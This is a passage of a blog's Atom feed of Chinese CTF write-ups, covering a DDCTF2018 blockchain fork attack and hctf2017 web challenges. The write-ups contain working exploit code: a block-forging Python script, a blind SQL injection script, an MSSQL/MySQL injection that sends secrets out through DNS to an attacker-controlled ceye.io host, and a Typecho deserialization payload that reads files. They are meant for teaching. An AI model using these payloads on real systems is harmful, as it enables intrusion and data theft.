</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">byte2hex</span><span class="params">(<span class="keyword">byte</span>[] b)</span> </span>{</span><br><span class="line"> StringBuilder hs = <span class="keyword">new</span> StringBuilder();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> n = <span class="number">0</span>; b != <span class="keyword">null</span> && n < b.length; ++n) {</span><br><span class="line"> String stmp = Integer.toHexString(b[n] & <span class="number">255</span>);</span><br><span class="line"> <span class="keyword">if</span> (stmp.length() == <span class="number">1</span>) {</span><br><span class="line"> hs.append(<span class="string">'0'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> hs.append(stmp);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> hs.toString().toUpperCase();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>运行结果即得到Flag</p><p>一道题做了两天,从不会Spring MVC语法,到RSA一遍遍报错,可谓是坎坷至极。很感谢DD给了一个做Java web题的机会,学习了很多。</p>]]></content>
<summary type="html">
<h1 id="专属链接"><a href="#专属链接" class="headerlink" title="专属链接"></a>专属链接</h1><p>服务器根据每一个用户注册的邮箱,用rsa加密成密文。同样被加密的还有一个用户专属的随机flag。这道题目的思路是先下载到邮箱
</summary>
</entry>
<entry>
<title>DDCTF2018 mini blockchain writeup</title>
<link href="http://hebic.me/2018/04/20/DDCTF2018-mini-blockchain-writeup/"/>
<id>http://hebic.me/2018/04/20/DDCTF2018-mini-blockchain-writeup/</id>
<published>2018-04-20T02:48:54.000Z</published>
<updated>2018-04-20T02:49:30.000Z</updated>
<content type="html"><![CDATA[<h1 id="mini-blockchain"><a href="#mini-blockchain" class="headerlink" title="mini blockchain"></a>mini blockchain</h1><p>居然出了一个区块链题目也是非常的厉害,新知识学起来。对区块链不是很懂,可能下面的描述存在误差,如果有问题还请大神指出。</p><p>DD自己的商店用的是“区块链”货币,并不是真正的区块链,因为链只保存在服务器的session中,不过这不影响我们做题。</p><p>来看一张交易模型<img src="http://8btc.com/data/attachment/portal/201702/03/140447qe7vo3vt7g22slev.jpg" alt="img"></p><p>关于UTXO的详解看<a href="http://8btc.com/article-4381-1.html" target="_blank" rel="noopener">http://8btc.com/article-4381-1.html</a></p><p>区块链就是区块和链。在这道题目中,看上面的图片,一个方框就是一个区块(block)。一个区块包含了一次交易(tx),一个交易包含了交易的输入(input)和交易的输出(output),其中输出又称为UTXO。每一次交易的输入和输出必须相同,如果输入10块钱花了2块给便利店,那么2块输出给便利店,8块输出给自己。也可以把UTXO理解为余额,因为每次能花多少,都是要取决于之前的UTXO向自己输出了多少。</p><p>这道题目的背景是银行在某天发行了100w个DDB(对应上图第一个方块),这时黑客出现了,他在第一个block后面append了一个区块,把银行的99w9999转给了自己,把1转给银行。这样银行就只剩下一块钱了,黑客还得意的喊:<code>second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])</code> 题目的要求是获得两个钻石,获得钻石的方法是商店有100w元。一个钻石的价格是100w,就是说我们得有200w才可以得到两个钻石,可银行只发行了100w,该怎么办?</p><h2 id="双花攻击"><a href="#双花攻击" class="headerlink" title="双花攻击"></a>双花攻击</h2><p>双花攻击是同一笔UTXO在不同交易中的花费,双花不会产生新的货币,只能把自己花出去的钱重新拿回来。</p><p>这个攻击方法给了我灵感,实际上这道题就是使用双花攻击中的51% attack。51% attack指的是攻击者如果可以拥有超过全网50%的算力,就可以创造一条高度大于原始链的链,攻击者可以发送一个新的块到这条链上。(如果有对比特币进行51% attack成功的案例,最大的危害在于人们对比特币的信心受损导致的比特币大跌而不是51% attack本身带来的危害)</p><p>如何进行51% attack攻击?在这道题中,就是创造一条超过原始链的长度。为了在后续讲解中方便,先写出题目给出的几个块,主链上块前有*</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th></tr></thead><tbody><tr><td style="text-align:left">*块2(1):黑客转走99w9999,银行留1</td></tr><tr><td style="text-align:left">*块3(1):空块(什么都没操作)</td></tr></tbody></table><p>具体操作就是从块1之后append一个块,把银行的100w转到shop中</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th><th></th></tr></thead><tbody><tr><td style="text-align:left">*块2(1):黑客转走99w9999,银行留1</td><td>块2(2)–shop转走100w</td></tr><tr><td style="text-align:left">*块3(1):空块(什么都没操作)</td></tr></tbody></table><p>(还可以随意转钱?就是有这种操作23333)</p><p>下一步,在自己append的块后append一个空块</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th><th></th></tr></thead><tbody><tr><td style="text-align:left">*块2(1):黑客转走99w9999,银行留1</td><td>块2(2)–shop转走100w</td></tr><tr><td style="text-align:left">*块3(1):空块(什么都不发生)</td><td>块3(2)–空块(什么都不发生)</td></tr></tbody></table><p>再来一次同样的操作</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th><th></th></tr></thead><tbody><tr><td style="text-align:left">块2(1):黑客转走99w9999,银行留1</td><td>*块2(2)–shop转走100w</td></tr><tr><td style="text-align:left">块3(1):空块(什么都没操作)</td><td>*块3(2)–空块(什么都不发生)</td></tr><tr><td style="text-align:left"></td><td>*块4(1)–空块(什么都不发生)</td></tr></tbody></table><p>此时最长的链为块1-块2(2)-块3(1)-块4(1)。这样,我们就构造了一个比题目给我们还要长的链,区块链这套逻辑会把最长的链当做主链,主链从块2(2)处分叉,块2(1)失效了,shop账户中多了100w,我们获得一个钻石。接下来系统在购买钻石的块3(2)块后添加一个块,转走商店中的100w到商店钱包。</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th><th></th></tr></thead><tbody><tr><td style="text-align:left">块2(1):黑客转走99w9999,银行留1</td><td>*块2(2)–shop转走100w</td></tr><tr><td style="text-align:left"></td><td>*块3(2)–空块(什么都不发生)</td></tr><tr><td style="text-align:left"></td><td>*块4(1)–空块(什么都不发生)</td></tr><tr><td style="text-align:left"></td><td>*块5(1)–把100w转到shop_wallet_address</td></tr></tbody></table><p>那么另一个钻石该怎么获得呢?继续利用50% attack攻击,从块4(1)分叉,添加空块</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th><th></th><th></th></tr></thead><tbody><tr><td style="text-align:left">块2(1):黑客转走99w9999,银行留1</td><td>*块2(2)–shop转走100w</td><td></td></tr><tr><td style="text-align:left"></td><td>*块3(2)–空块(什么都不发生)</td><td></td></tr><tr><td style="text-align:left"></td><td>*块4(1)–空块(什么都不发生)</td><td></td></tr><tr><td style="text-align:left"></td><td>*块5(1)–把100w转到shop_wallet_address</td><td>块5(2)–空块(什么都不发生)</td></tr></tbody></table><p>再append一个空块</p><table><thead><tr><th style="text-align:left">*块1(创世区块):银行发行100w币</th><th></th><th></th></tr></thead><tbody><tr><td style="text-align:left">块2(1):黑客转走99w9999,银行留1</td><td>*块2(2)–shop转走100w</td><td></td></tr><tr><td style="text-align:left"></td><td>*块3(2)–空块(什么都不发生)</td><td></td></tr><tr><td style="text-align:left"></td><td>*块4(1)–空块(什么都不发生)</td><td></td></tr><tr><td style="text-align:left"></td><td>块5(1)–把100w转到shop_wallet_address</td><td>*块5(2)–空块(什么都不发生)</td></tr><tr><td style="text-align:left"></td><td></td><td>*块6(1)–空块(什么都不发生)</td></tr></tbody></table><p>主链变为块1-块2(2)-块3(1)-块4(1)-块5(2)-块6(1),块5(1)失效,shop拥有100w,钻石+1,得到flag。</p><h2 id="为何可以直接append?"><a href="#为何可以直接append?" class="headerlink" title="为何可以直接append?"></a>为何可以直接append?</h2><p>在这道题目中,给了一个append块的方法,可以将post请求当做块append到某个块后面,这个是一个正常的功能。在生成sign的时候没有将使用签名的交易hash计算进去,导致在验证的时候没有验证sign和交易hash的对应,所以只要有一个sign,就可以不断的利用这个sign append区块。</p><h2 id="如果可以任意append,为什么不直接给shop转200w?"><a href="#如果可以任意append,为什么不直接给shop转200w?" class="headerlink" title="如果可以任意append,为什么不直接给shop转200w?"></a>如果可以任意append,为什么不直接给shop转200w?</h2><p>首先,所有的append都必须在创世block后。其次,系统会验证append块中的sign。还会验证prev值,是否为某个已存在的block的hash。(block的hash是将block的每个参数打包后进行hash)无法知道某个block的hash就无法在block后append一个block。最后,转出的钱,必须是之前的UTXO,题目中UTXO总量为100w,无法创造200w的UTXO。</p><h2 id="51-attack和算力有什么关系?"><a href="#51-attack和算力有什么关系?" class="headerlink" title="51% attack和算力有什么关系?"></a>51% attack和算力有什么关系?</h2><p>append的块除了以上要求,还有一个复杂性要求。也就是工作量证明(<a href="https://baike.baidu.com/item/%E5%B7%A5%E4%BD%9C%E9%87%8F%E8%AF%81%E6%98%8E/22448498?fr=aladdin)。任意添加一个块的要求是" target="_blank" rel="noopener">https://baike.baidu.com/item/%E5%B7%A5%E4%BD%9C%E9%87%8F%E8%AF%81%E6%98%8E/22448498?fr=aladdin)。任意添加一个块的要求是</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DIFFICULTY = int(<span class="string">'00000'</span> + <span class="string">'f'</span> * <span class="number">59</span>, <span class="number">16</span>)</span><br><span class="line">......</span><br><span class="line"><span class="keyword">if</span> block_hash > difficulty: <span class="keyword">raise</span> Exception(<span class="string">'Please provide a valid Proof-of-Work'</span>)</span><br></pre></td></tr></table></figure><p>block的hash要小于系统定义的difficulty。为了使得可以控制hash的大小,一个block中还有一个可以随意定义的nonce,我们可以控制nonce来控制block_hash达到目的。为了满足复杂度要求,必须穷举nonce。init()中的几个块可以使用有语义的nonce是因为在那个阶段DIFFICULTY要求极低。</p><p>如果世界上有100个用户在使用这个系统,100个用户都在计算nonce以append自己的block。如果其中一个人计算nonce的速度要超过其余99个的速度,那么他添加新块的速度就会超过其他99个人添加新块的速度,他就可以在随意的一个块开始添加自己的块,使得自己构造的链长度大于其余99个构造的链,成为主链,达成51%攻击。这道题没人和我们比算力,生成一个比最长链长度大一的链即可。</p><p>一个block结构是怎样的?块2(1)</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line">'nonce': 'HAHA, I AM THE BANK NOW!', </span><br><span class="line">'prev': 'dd04faf20c550cf63ae07504884e1fb673cfefaaac2979dde1ae3cbf95961569', </span><br><span class="line">'hash': '5217b7fa9c1e2296e66202997df0a51b20e58fe921011069535a62cd53518e55', </span><br><span class="line">'transactions': [{</span><br><span class="line">'input': ['9d65e5db-8671-4323-b279-af56963f2565'], </span><br><span class="line">'output': [{</span><br><span class="line">'amount': 999999, </span><br><span class="line">'hash': </span><br><span class="line">'da32c8155ebbec8df888653d4d243698e29c4ea43cc0fa1bff14649e8511416b', </span><br><span class="line">'id': '9dcb9e47-5816-4451-b99e-eb6d729f64b7', </span><br><span class="line">'addr': 'b2a6484625db7305ea7bb1c8a484832ec32686c0f3a3dac5cfe63779ede94494d841f8117fe1dd55c57e23aa61953391'</span><br><span class="line">}, </span><br><span class="line">{</span><br><span class="line">'amount': 1, </span><br><span class="line">'hash': '19fa5198bc172d6525976b7f0fb5f0647b96ab6b55bd4eb9033ab158faebb0ad', </span><br><span class="line">'id': '592e27c6-b111-40a7-8b2d-ccefa333e616', </span><br><span class="line">'addr': '99a13a3a21051c8f93c5a87f7f92151b4acfaf01f2e596696e8922e3801278470592cdbc8920f289a1829f726c43a1e9'</span><br><span class="line">}],</span><br><span class="line"> </span><br><span class="line">'hash': '5815cc2ccf6327396ce5490c39e7c6381f15250fa0ab043eae8096d1a1c44704', </span><br><span class="line">'signature': ['9455298609f042b631f99cb33f3f683f6b3361962df5f1c6f698e03b23d72c7ea42c939999913424e4c424f6b7024514']</span><br><span class="line">}</span><br><span class="line">]}</span><br></pre></td></tr></table></figure><p>参数解释,括号内为生成函数</p><p>nonce:自定义字符串</p><p>prev:上一个块的hash</p><p>hash:本个块的hash(hashhash,hash_reducer,hash_block)</p><p>transactions:交易(tx)</p><p> input:之前utxo的id</p><p> output:UTXO</p><p> amount:数量</p><p> hash:UTXO的hash(hash,hash_reducer,hash_utxo)</p><p> id:这个UTXO的id</p><p> addr:目标地址</p><p> hash:交易的hash(hash,hash_reducer,hash_tx)</p><p> signature:交易签名(sign_input_utxo)</p><p>其余的函数:</p><p>addr_to_pubkey:检查地址有效性</p><p>pubkey_to_address:生成钱包地址</p><p>gen_addr_key_pair:生成钱包地址</p><p>create_output_utxo:创建一个utxo</p><p>create_tx:创建一个tx</p><p>create_block:创建一个block</p><p>find_blockchain_tail:查询最后一个block</p><p>calculate_utxo:得到所有utxo</p><p>calculate_balance:计算钱包的余额</p><p>verify_utxo_signature:验证utxo签名</p><p>append_block:添加块</p><p>init:初始化函数</p><p>get_balance_of_all:得到所有block,所有地址和utxo</p><p>homepage:web主页</p><p>getFlag:flag获取页面</p><p>EXP: 重命名源代码为btc.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- encoding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> btc, rsa, uuid, json, copy</span><br><span class="line"><span class="comment">#创世块的hash</span></span><br><span class="line">genies_hash = <span class="string">"92875ca628cd0890020f6a74f3011b611db814f30300f729f20b5a88c49e3e44"</span></span><br><span class="line"><span class="comment">#黑客转账999999,所用的input和签名</span></span><br><span class="line">input,signature = (<span class="string">"9018b356-cb1d-44c9-ab4e-bf15a8b2f95c"</span>,<span class="string">"161ae7eac89f71d50d1019d21288dce23cae6cbb587998df9010e3ff3c80ee8e4c06bd70555604be85ca0869136b3966"</span>)</span><br><span class="line"><span class="comment">#商店地址</span></span><br><span class="line">shop_address = <span class="string">"b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"</span></span><br><span class="line">txout_id = str(uuid.uuid4())</span><br><span class="line"></span><br><span class="line"><span class="comment">#工作量证明</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pow</span><span class="params">(b, difficulty, msg=<span class="string">""</span>)</span>:</span></span><br><span class="line"> nonce = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> nonce<(<span class="number">2</span>**<span class="number">32</span>):</span><br><span class="line"> b[<span class="string">'nonce'</span>] = msg+str(nonce)</span><br><span class="line"> b[<span class="string">'hash'</span>] = btc.hash_block(b)</span><br><span class="line"> block_hash = int(b[<span class="string">'hash'</span>], <span class="number">16</span>)</span><br><span class="line"> <span class="keyword">if</span> block_hash < difficulty:</span><br><span class="line"> <span class="keyword">return</span> b</span><br><span class="line"> nonce+=<span class="number">1</span> </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">myprint</span><span class="params">(b)</span>:</span></span><br><span class="line"> print(json.dumps(b))</span><br><span class="line"> print(len(json.dumps(b)))</span><br><span class="line"></span><br><span class="line"><span class="comment">#构造一个空块</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">empty_block</span><span class="params">(msg, prevHash)</span>:</span></span><br><span class="line"> b={}</span><br><span class="line"> b[<span class="string">"prev"</span>] = prevHash</span><br><span class="line"> b[<span class="string">"transactions"</span>] = []</span><br><span class="line"> b = pow(b, btc.DIFFICULTY, msg)</span><br><span class="line"> <span class="keyword">return</span> b</span><br><span class="line"></span><br><span class="line"><span class="comment">#从创世块开始分叉,给商店转1000000</span></span><br><span class="line">block1 = {}</span><br><span class="line">block1[<span class="string">"prev"</span>] = genies_hash</span><br><span class="line">tx = {<span class="string">"input"</span>:[input],<span class="string">"output"</span>:[{<span class="string">"amount"</span>:<span class="number">1000000</span>, <span class="string">'id'</span>:txout_id,<span class="string">'addr'</span>:shop_address}],<span class="string">'signature'</span>:[signature]}</span><br><span class="line">tx[<span class="string">"output"</span>][<span class="number">0</span>][<span class="string">"hash"</span>] = btc.hash_utxo(tx[<span class="string">"output"</span>][<span class="number">0</span>])</span><br><span class="line">tx[<span class="string">'hash'</span>] = btc.hash_tx(tx)</span><br><span class="line">block1[<span class="string">"transactions"</span>] = [tx]</span><br><span class="line">block1 = pow(block1, btc.DIFFICULTY)</span><br><span class="line">myprint(block1)</span><br><span class="line"></span><br><span class="line"><span class="comment">#构造空块增加分叉链长度,使分叉链最长,因为max的结果不唯一,少则一次多则两次</span></span><br><span class="line">block2 = empty_block(<span class="string">"myempty1"</span>, block1[<span class="string">"hash"</span>])</span><br><span class="line">myprint(block2)</span><br><span class="line">block3 = empty_block(<span class="string">"myempty2"</span>, block2[<span class="string">"hash"</span>])</span><br><span class="line">myprint(block3)</span><br><span class="line"></span><br><span class="line"><span class="comment">#余额更新成功,系统自动添加块,转走商店钱,钻石+1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#从自己的块,即系统转走钱之前的那个块再次分叉,添加空块</span></span><br><span class="line">block4 = empty_block(<span class="string">"myempty3"</span>, block3[<span class="string">"hash"</span>])</span><br><span class="line">myprint(block4)</span><br><span class="line">block5 = empty_block(<span class="string">"myempty4"</span>, block4[<span class="string">"hash"</span>])</span><br><span class="line">myprint(block5)</span><br><span class="line"><span class="comment">#新的分叉链最长,余额更新成功,钻石+1</span></span><br></pre></td></tr></table></figure><p>生成出的四个块按顺序提交,再访问/flag就可以得到flag</p><p>最后感谢ACM大佬@M3r0dach师傅的指导,在做这道题的过程中给予了很多帮助。大佬的github:<a href="https://github.com/M3r0dach/gobtc" target="_blank" rel="noopener">https://github.com/M3r0dach/gobtc</a></p>]]></content>
<summary type="html">
<h1 id="mini-blockchain"><a href="#mini-blockchain" class="headerlink" title="mini blockchain"></a>mini blockchain</h1><p>居然出了一个区块链题目也是非常的厉害
</summary>
</entry>
<entry>
<title>hctf2017 web writeup</title>
<link href="http://hebic.me/2017/11/13/hctf2017-web-writeup/"/>
<id>http://hebic.me/2017/11/13/hctf2017-web-writeup/</id>
<published>2017-11-13T05:50:28.000Z</published>
<updated>2017-11-15T11:20:02.000Z</updated>
<content type="html"><![CDATA[<h1 id="Level-1"><a href="#Level-1" class="headerlink" title="Level-1"></a>Level-1</h1><h2 id="easy-sign-in"><a href="#easy-sign-in" class="headerlink" title="easy_sign_in"></a>easy_sign_in</h2><p>登陆之后chrome说您的链接不是私密连接,查看证书,证书中提示flag在某个ip中,访问就可以得到flag。</p><p><img src="/2017/11/13/hctf2017-web-writeup/1.png" alt="1"></p><h1 id="Level-2"><a href="#Level-2" class="headerlink" title="Level-2"></a>Level-2</h1><h2 id="boring-website"><a href="#boring-website" class="headerlink" title="boring website"></a>boring website</h2><p>用我自己写的扫源码神器biubiubiu扫出<a href="http://106.15.53.124:38324/www.zip" target="_blank" rel="noopener">http://106.15.53.124:38324/www.zip</a></p><p>之后是一个注入,在源码中有两个提示:OOB和server link。刘师傅想了一下午决定使用openquery函数,利用mssql连接MySQL,再用mysql的oob得到数据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://106.15.53.124:38324/?id=1;select * from openquery(mysql,'select load_file(concat("\\\\",(select password from webwebweb.secret where name="flag" limit 0,1),".ikyzvu.ceye.io\\1.txt"));')</span><br></pre></td></tr></table></figure><h1 id="Level-3"><a href="#Level-3" class="headerlink" title="Level-3"></a>Level-3</h1><h2 id="SQL-Sliencer"><a href="#SQL-Sliencer" class="headerlink" title="SQL Sliencer"></a>SQL Sliencer</h2><p>注入就是纯粹的注入。</p><p>这题在结束后得知有三种做法:</p><ol><li>常规方法是盲注:</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">flag = <span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sql</span><span class="params">(bg,ed,num)</span>:</span></span><br><span class="line">guess = (bg+ed)/<span class="number">2</span></span><br><span class="line"><span class="keyword">if</span> ed-bg==<span class="number">1</span>:</span><br><span class="line"><span class="keyword">return</span> chr(guess+<span class="number">1</span>)</span><br><span class="line">url = <span class="string">"http://sqls.2017.hctf.io/index/index.php?id=2/(select(case%0awhen%0aascii(substr((select(flag)from(flag)where%0aflag%0anot%0alike%0aunhex(256125))%0afrom%0a"</span>+str(num)+<span class="string">"))>"</span>+str(guess)+<span class="string">"%0athen%0a1%0aelse%0a0%0aend))"</span></span><br><span class="line"><span class="keyword">print</span> url</span><br><span class="line">request = requests.get(url).text</span><br><span class="line"><span class="keyword">if</span> request.find(<span class="string">"error"</span>) > <span class="number">0</span>:</span><br><span class="line"><span class="keyword">return</span> sql(bg,guess,num)</span><br><span class="line"><span class="keyword">elif</span> request.find(<span class="string">"Bob"</span>) > <span class="number">0</span>:</span><br><span class="line"><span class="keyword">return</span> sql(guess,ed,num)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">50</span>):</span><br><span class="line">flag += sql(<span class="number">10</span>,<span class="number">140</span>,i)</span><br><span class="line"><span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure><p>得益于刘师傅教的最小二分法,40多位的flag两分钟左右就能跑出来。</p><ol start="2"><li>先定义变量后拼接绕开union all select xxx from,将select xxx from定义到变量中,后拼接到union后。</li><li>preg_match的超长字符绕过,这道题传参用的GET,服务器接不了那么大的数据就reset了。</li></ol><p>得到flag:./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/ 是一个地址,里面有一个typecho,前段时间的getshell。用scandir读目录,用file_get_contents读flag。</p><p>exp:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Typecho_Feed</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">const</span> RSS1 = <span class="string">'RSS 1.0'</span>;</span><br><span class="line"> <span class="keyword">const</span> RSS2 = <span class="string">'RSS 2.0'</span>;</span><br><span class="line"> <span class="keyword">const</span> ATOM1 = <span class="string">'ATOM 1.0'</span>;</span><br><span class="line"> <span class="keyword">const</span> DATE_RFC822 = <span class="string">'r'</span>;</span><br><span class="line"> <span class="keyword">const</span> DATE_W3CDTF = <span class="string">'c'</span>;</span><br><span class="line"> <span class="keyword">const</span> EOL = <span class="string">"\n"</span>;</span><br><span class="line"> <span class="keyword">private</span> $_type;</span><br><span class="line"> <span class="keyword">private</span> $_items;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->_type = <span class="keyword">$this</span>::RSS2;</span><br><span class="line"> <span class="keyword">$this</span>->_items[<span class="number">0</span>] = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'title'</span> => <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'link'</span> => <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'date'</span> => <span class="number">1508895132</span>,</span><br><span class="line"> <span class="string">'category'</span> => <span class="keyword">array</span>(<span class="keyword">new</span> Typecho_Request()),</span><br><span class="line"> <span class="string">'author'</span> => <span class="keyword">new</span> Typecho_Request(),</span><br><span class="line"> );</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Typecho_Request</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">private</span> $_params = <span class="keyword">array</span>();</span><br><span class="line"> <span class="keyword">private</span> $_filter = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->_params[<span class="string">'screenName'</span>] = <span class="string">'var_dump(file_get_contents("/flag_is_here/flag"))'</span>;</span><br><span class="line"> <span class="keyword">$this</span>->_filter[<span class="number">0</span>] = <span class="string">'assert'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$exp = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'adapter'</span> => <span class="keyword">new</span> Typecho_Feed(),</span><br><span class="line"> <span class="string">'prefix'</span> => <span class="string">'typecho_'</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> base64_encode(serialize($exp));</span><br></pre></td></tr></table></figure><h2 id="A-World-Restored"><a href="#A-World-Restored" class="headerlink" title="A World Restored"></a>A World Restored</h2><p>这道题比赛中没有做出来,看了柠檬叔叔的wp,原来只差最后一步。</p><p>比赛环境已经关掉了,凭记忆写一点。</p><p>这道题的环境开着CSP,在default-src部署了nonce,nonce是必须脚本待着nonce-xxxxx才可以执行的一种白名单机制,由于每一次nonce都不一样,所以注入进的script标签无法猜测nonce导致无法执行。</p><p>这道题有两个域名:</p><p><a href="http://messbox.2017.hctf.io/" target="_blank" rel="noopener">http://messbox.2017.hctf.io/</a> 和 <a href="http://auth.2017.hctf.io/" target="_blank" rel="noopener">http://auth.2017.hctf.io/</a> ,后者为身份认证平台,分发token,利用token登陆。这道题目的考点是,登陆验证是用token验证。如果获得管理员token就可以利用管理员身份登陆。在输入用户名密码之后会进入,auth会利用js的location跳转到messbox,url大致是:<a href="http://auth.2017.hctf.io/login.php?n_url=messbox.2017.hctf.io/index.php&token=xxxxxx" target="_blank" rel="noopener">http://auth.2017.hctf.io/login.php?n_url=messbox.2017.hctf.io/index.php&token=xxxxxx</a> 由于n_url可控,所以把n_url替换成自己的网址,发给管理员。管理员必然有token。</p><p>getflag</p>]]></content>
<summary type="html">
<h1 id="Level-1"><a href="#Level-1" class="headerlink" title="Level-1"></a>Level-1</h1><h2 id="easy-sign-in"><a href="#easy-sign-in" class="
</summary>
<category term="ctf,writeup" scheme="http://hebic.me/tags/ctf-writeup/"/>
</entry>
<entry>
<title>SWPU2017 web300 writeup</title>
<link href="http://hebic.me/2017/11/06/SWPU2017-web300-writeup/"/>
<id>http://hebic.me/2017/11/06/SWPU2017-web300-writeup/</id>
<published>2017-11-06T13:57:46.000Z</published>
<updated>2017-11-06T14:29:10.000Z</updated>
